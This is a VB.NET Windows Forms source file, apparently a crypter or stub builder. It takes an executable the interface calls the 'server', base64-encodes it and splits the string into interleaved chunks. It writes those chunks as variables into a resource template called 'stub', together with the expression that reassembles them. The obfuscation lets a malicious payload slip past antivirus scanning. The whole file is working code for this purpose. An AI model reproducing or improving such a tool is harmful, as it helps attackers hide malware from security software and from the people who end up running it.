114 lines
4.2 KiB
VB.net
114 lines
4.2 KiB
VB.net
Imports System.IO
|
|
|
|
Public Class Form1
|
|
|
|
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
|
|
Dim ofd As New OpenFileDialog With
|
|
{
|
|
.Filter = "ExE Files (*.exe) | *.exe"
|
|
}
|
|
If ofd.ShowDialog() = Windows.Forms.DialogResult.OK Then
|
|
TextBox1.Text = ofd.FileName
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
|
|
Dim Brow1 As New FolderBrowserDialog
|
|
Dim Brow2 As FolderBrowserDialog = Brow1
|
|
If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
|
|
Dim a As String = NumericUpDown1.Value
|
|
Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
|
|
IO.File.WriteAllText(Brow2.SelectedPath & "\all" & ".txt", b)
|
|
Dim c As String = b.Length
|
|
Dim d As String = c / a
|
|
Dim lop As Integer
|
|
Dim split As String
|
|
Dim kyam As String = ""
|
|
Dim haj As String = "str2"
|
|
For i As Integer = 1 To a
|
|
For lop = 0 To c - 1 Step +a
|
|
split += Mid(b, lop + i, 1)
|
|
Next
|
|
IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
|
|
Dim j As String = i
|
|
haj = haj + " & Strings.Mid(paracetamol" + j + ", i, 1)"
|
|
kyam = kyam + "dim paracetamol" + j + " as string= """ + split + """" + ChrW(10)
|
|
split = ""
|
|
Next
|
|
TextBox2.Text = My.Resources.stub.Replace("maloumat", kyam).Replace("rahj", haj)
|
|
End If
|
|
|
|
MsgBox("Done !! ")
|
|
End Sub
|
|
|
|
Private Sub NumericUpDown1_ValueChanged(sender As Object, e As EventArgs) Handles NumericUpDown1.ValueChanged
|
|
|
|
End Sub
|
|
|
|
|
|
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
|
|
End Sub
|
|
|
|
Private Sub ProgressBar1_Click(sender As Object, e As EventArgs)
|
|
|
|
End Sub
|
|
|
|
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
|
|
If (Not String.IsNullOrEmpty(TextBox2.Text)) Then
|
|
TextBox2.SelectionStart = 0
|
|
TextBox2.SelectionLength = TextBox2.Text.Length
|
|
End If
|
|
TextBox2.Copy()
|
|
End Sub
|
|
|
|
Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
|
|
If (Me.TextBox1.Text = "") Then
|
|
Interaction.MsgBox("No server Selected", MsgBoxStyle.ApplicationModal, "Erorr")
|
|
Else
|
|
Dim dialog As New SaveFileDialog
|
|
Dim dialog2 As SaveFileDialog = dialog
|
|
dialog2.Title = "Save"
|
|
dialog2.Filter = "Text Documents(*.txt)|.txt"
|
|
dialog2.FileName = "*.txt"
|
|
dialog2 = Nothing
|
|
If (dialog.ShowDialog = DialogResult.OK) Then
|
|
File.WriteAllText(dialog.FileName, TextBox2.Text)
|
|
Interaction.MsgBox(dialog.FileName, MsgBoxStyle.ApplicationModal, Nothing)
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
|
|
Dim a As String = NumericUpDown1.Value
|
|
If (Not String.IsNullOrEmpty(TextBox1.Text)) Then
|
|
Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
|
|
Dim c As String = b.Length
|
|
Dim d As String = c / a
|
|
Dim lop As Integer
|
|
Dim split As String
|
|
Dim kyam As String = ""
|
|
Dim haj As String = "str2"
|
|
For i As Integer = 1 To a
|
|
For lop = 0 To c - 1 Step +a
|
|
split += Mid(b, lop + i, 1)
|
|
Next
|
|
Dim j As String = i
|
|
haj = haj + " & Strings.Mid(paracetamol" + j + ", i, 1)"
|
|
kyam = kyam + "dim paracetamol" + j + " as string= """ + split + """" + ChrW(10)
|
|
split = ""
|
|
Next
|
|
TextBox2.Text = My.Resources.stub.Replace("maloumat", kyam).Replace("rahj", haj)
|
|
End If
|
|
MsgBox("Done !! ")
|
|
End Sub
|
|
|
|
Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click
|
|
Me.Close()
|
|
End Sub
|
|
|
|
Private Sub PictureBox1_Click(sender As Object, e As EventArgs)
|
|
|
|
End Sub
|
|
End Class
|